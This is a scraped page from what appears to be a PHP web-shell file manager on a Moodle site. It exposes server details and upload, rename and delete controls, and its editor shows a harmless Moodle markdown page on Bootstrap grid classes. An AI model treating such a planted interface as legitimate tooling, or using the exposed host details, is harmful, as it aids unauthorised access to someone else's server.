Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

Apache

System:

Linux 5.14.0-427.33.1.el9_4.x86_64

PHP Version:

7.4.33

User:

infinio

Directory:

/home/infinio/public_html/moodle/admin/tool/componentlibrary/content/moodle/themes

Free Space:

250.28 GB

🔧 Quick Actions

✏️ Editing: grids.md

---
layout: docs
title: "Grids"
descriptions: Using grids in Moodle
date: 2020-02-04T09:40:32+01:00
draft: false
weight: 1
---

Use the bootstrap grid column classes to create responsive grids. Rules to follow:

* Always wrap rows in a container
* Combine column classes to create responsive grids
* Keep the context in mind, modals behave different from #region-main
* Don't add to much styles to the grid container, us an inner div

{{< example>}}
<div class="container-fluid">
  <div class="row">
    <div class="col-6 col-md-4 col-lg-3 col-xl-2 mb-3">
      <div class="inner h-100 border p-1">
      Lorem ipsum dolor sit amet
      </div>
    </div>
    <div class="col-6 col-md-4 col-lg-3 col-xl-2 mb-3">
      <div class="inner h-100 border p-1">
      Lonsectetuer adipiscing elit. Aenean commodo ligula eget dolor.
      </div>
    </div>
    <div class="col-6 col-md-4 col-lg-3 col-xl-2 mb-3">
      <div class="inner h-100 border p-1">
      Donec quam felis, ultricies nec, pellentesque eu, pretium quis, sem. Nulla consequat massa quis enim.
      </div>
    </div>
    <div class="col-6 col-md-4 col-lg-3 col-xl-2 mb-3">
      <div class="inner h-100 border p-1">
    ascetur ridiculus mus. Donec quam felis, ultricies nec, pellentesque eu.
      </div>
    </div>
    <div class="col-6 col-md-4 col-lg-3 col-xl-2 mb-3">
      <div class="inner h-100 border p-1">
    Lretium quis, sem. Nulla consequat massa quis enim.
      </div>
    </div>
    <div class="col-6 col-md-4 col-lg-3 col-xl-2 mb-3">
      <div class="inner h-100 border p-1">
    Aenean commodo massa quis enim.
      </div>
    </div>
    <div class="col-6 col-md-4 col-lg-3 col-xl-2 mb-3">
      <div class="inner h-100 border p-1">
    Donec quam felis, ultricies nec, pellentesque eu, pretium quis, sem.
      </div>
    </div>
    <div class="col-6 col-md-4 col-lg-3 col-xl-2 mb-3">
      <div class="inner h-100 border p-1">
    Aenean commodo ligula eget dolor. Aenean massa. Cu quis enim.
      </div>
    </div>
    <div class="col-6 col-md-4 col-lg-3 col-xl-2 mb-3">
      <div class="inner h-100 border p-1">
    Loltricies nec, pellentesque eu, quis enim.
      </div>
    </div>
    <div class="col-6 col-md-4 col-lg-3 col-xl-2 mb-3">
      <div class="inner h-100 border p-1">
    Ligula eget dolor. Aenean massa. Cum sociis natoque penatibus et magnis.
      </div>
    </div>
  </div>
</div>
{{< /example >}}

If needed

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: grids.md

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation